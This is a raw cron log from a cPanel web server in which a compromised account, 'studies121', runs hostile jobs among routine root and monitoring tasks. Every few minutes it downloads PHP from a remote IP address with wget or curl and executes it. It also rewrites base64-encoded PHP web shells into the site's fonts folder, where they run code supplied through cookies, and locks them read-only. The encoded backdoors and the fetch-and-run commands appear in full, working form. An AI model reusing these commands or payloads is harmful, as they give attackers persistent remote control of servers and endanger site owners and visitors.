Sep 11 13:12:01 ip-184-168-122-23 CROND[8548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:12:01 ip-184-168-122-23 CROND[8549]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:12:01 ip-184-168-122-23 CROND[8552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:12:01 ip-184-168-122-23 CROND[8553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:12:01 ip-184-168-122-23 CROND[8551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:13:02 ip-184-168-122-23 CROND[8663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:13:02 ip-184-168-122-23 CROND[8662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:13:02 ip-184-168-122-23 CROND[8664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:13:02 ip-184-168-122-23 CROND[8665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:14:01 ip-184-168-122-23 CROND[8865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:14:01 ip-184-168-122-23 CROND[8866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:14:01 ip-184-168-122-23 CROND[8869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:14:01 ip-184-168-122-23 CROND[8868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:14:01 ip-184-168-122-23 CROND[8871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:15:02 ip-184-168-122-23 CROND[8986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:15:02 ip-184-168-122-23 CROND[8987]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:15:02 ip-184-168-122-23 CROND[8988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:15:02 ip-184-168-122-23 CROND[8990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:15:02 ip-184-168-122-23 CROND[8989]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:15:02 ip-184-168-122-23 CROND[8991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:16:01 ip-184-168-122-23 CROND[9101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:16:01 ip-184-168-122-23 CROND[9103]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 13:16:01 ip-184-168-122-23 CROND[9105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:16:01 ip-184-168-122-23 CROND[9104]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:16:01 ip-184-168-122-23 CROND[9106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:16:01 ip-184-168-122-23 CROND[9107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:17:01 ip-184-168-122-23 CROND[9278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:17:01 ip-184-168-122-23 CROND[9279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:17:01 ip-184-168-122-23 CROND[9280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:17:01 ip-184-168-122-23 CROND[9282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:18:01 ip-184-168-122-23 CROND[9393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:18:02 ip-184-168-122-23 CROND[9395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:18:02 ip-184-168-122-23 CROND[9397]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:18:02 ip-184-168-122-23 CROND[9398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:18:02 ip-184-168-122-23 CROND[9399]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:19:01 ip-184-168-122-23 CROND[9529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:19:01 ip-184-168-122-23 CROND[9527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:19:01 ip-184-168-122-23 CROND[9529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:19:01 ip-184-168-122-23 CROND[9527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:19:01 ip-184-168-122-23 CROND[9529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:19:01 ip-184-168-122-23 CROND[9527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:19:01 ip-184-168-122-23 CROND[9530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:19:01 ip-184-168-122-23 CROND[9528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:20:01 ip-184-168-122-23 CROND[9633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:20:01 ip-184-168-122-23 CROND[9636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:20:01 ip-184-168-122-23 CROND[9637]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 13:20:01 ip-184-168-122-23 CROND[9640]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:20:01 ip-184-168-122-23 CROND[9641]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:20:01 ip-184-168-122-23 CROND[9642]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 13:20:01 ip-184-168-122-23 CROND[9643]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:20:01 ip-184-168-122-23 CROND[9646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:20:01 ip-184-168-122-23 CROND[9649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:21:01 ip-184-168-122-23 CROND[9742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:21:01 ip-184-168-122-23 CROND[9741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:21:01 ip-184-168-122-23 CROND[9740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:21:01 ip-184-168-122-23 CROND[9739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:22:01 ip-184-168-122-23 CROND[9922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:22:01 ip-184-168-122-23 CROND[9925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:22:01 ip-184-168-122-23 CROND[9924]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:22:01 ip-184-168-122-23 CROND[9926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:22:01 ip-184-168-122-23 CROND[9927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:23:01 ip-184-168-122-23 CROND[10035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:23:01 ip-184-168-122-23 CROND[10037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
